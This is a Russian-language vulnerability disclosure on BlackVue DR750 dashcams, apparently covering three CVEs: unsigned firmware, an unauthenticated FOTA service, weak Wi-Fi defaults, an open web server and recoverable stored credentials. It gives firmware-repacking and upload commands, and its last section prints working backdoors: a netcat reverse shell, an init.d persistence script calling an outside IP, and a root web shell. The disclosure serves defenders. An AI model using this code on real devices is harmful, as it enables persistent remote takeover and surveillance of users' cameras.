
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
Нижеследующее предназначено только для образовательных целей. Не пытайтесь делать это на устройстве, которым вы не владеете или на использование которого у вас нет разрешения.
На момент написания в сети насчитывается около ~300 уязвимых устройств BlackVue, которые можно легко обнаружить и взломать. Официального патча при этом нет.
Компания BlackVue была уведомлена об этих уязвимостях 30-07-2022 и ответила, что рассмотрит проблемы. Однако, насколько нам известно, с тех пор ничего не произошло.
Для прошивки отсутствует проверка подлинности, что позволяет злоумышленнику загрузить собственную прошивку. Такая прошивка может содержать бэкдоры или эксплойты.
Шаги для воспроизведения:
.zip, содержащий файлы прошивкиpatch_<dashcam_name>.bintar.gzpatch_<dashcam_name>.bin (см. sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Затем просто поместите папку BlackVue на SD-карту видеорегистратора, и он запустит прошивку из неё.
При создании прошивки для FOTA (Firmware Over The Air) вместо этого создайте файл .tgz из каталога System.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Этот файл впоследствии можно использовать для загрузки собственной прошивки через FOTA и полной компрометации видеорегистратора.
Важно отметить: в ходе тестирования было замечено, что даже после обратной перепрошивки устройства официальной прошивкой с сайта BlackVue установленные бэкдоры сохранялись.
Видеорегистраторы BlackVue прослушивают порт 9771/TCP, на котором работает сервис FOTA (обновление прошивки «по воздуху»). С помощью этого сервиса можно выполнить ping, перезагрузку, получить время устройства, обновить прошивку и т.д.
Эта конечная точка ничем не защищена: к ней можно получить доступ, находясь в одной локальной сети (LAN) с видеорегистратором, или из интернета, если регистратор подключён к LTE, что является серьёзной угрозой безопасности. Python-скрипт, который может взаимодействовать с сервисом FOTA, можно найти здесь.
Создайте новую прошивку, следуя шагам из предыдущего раздела, и загрузите её с помощью Python-скрипта.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Эта утилита не гарантирует работоспособность, но однажды она уже сработала.
Видеорегистраторы поставляются без включённого межсетевого экрана, что не является большой проблемой, если регистратор подключён только через Wi-Fi. Однако LTE-версия подключается к интернету напрямую, поскольку некоторые мобильные операторы не настраивают межсетевой экран и не размещают своих пользователей за NAT. Это можно проверить, изучив извлечённую прошивку.
Как минимум, видеорегистраторы BlackVue с LTE должны блокировать подключения со стороны LTE.
Пароль Wi-Fi по умолчанию для видеорегистратора состоит только из строчных буквенно-цифровых символов и имеет длину 8. Можно перехватить handshake (рукопожатие) видеорегистратора и использовать инструменты Aircrack-ng для вычисления пароля (если пользователь его не менял). Это можно сделать примерно за ~4 дня с помощью арендованного оборудования (~40 EUR).
По умолчанию веб-сервер доступен без аутентификации и предоставляет различные конечные точки.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Эти конечные точки позволяют следующее:
SSID и пароль сети Wi-Fi, к которой будет подключаться видеорегистратор, хранятся на SD-карте в регистраторе. Эти данные зашифрованы, но ключ легко обнаруживается при реверс-инжиниринге приложения. Как продемонстрировано в wifi-decrypt.py.
Также стоит отметить, что при смене сети Wi-Fi, к которой должен подключаться видеорегистратор, эти значения отправляются на серверы BlackVue, которые хранят их до тех пор, пока не смогут передать информацию регистратору. Неизвестно, удаляются ли эти данные после того, как регистратор снова становится доступен.
Всё это можно скомбинировать в простой RCE, особенно на видеорегистраторах с LTE.
Несколько примеров бэкдоров, которые можно включить в собственную прошивку.
Следующий бэкдор подключится к удалённой машине и предоставит полный доступ к shell от имени root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
Следующий init.d-скрипт будет запускать бэкдор при каждой загрузке системы и подключаться к указанному IP/порту.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiСледующий бэкдор позволит выполнять команды (от имени root) при отправке полезной нагрузки (payload) на веб-сервер.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING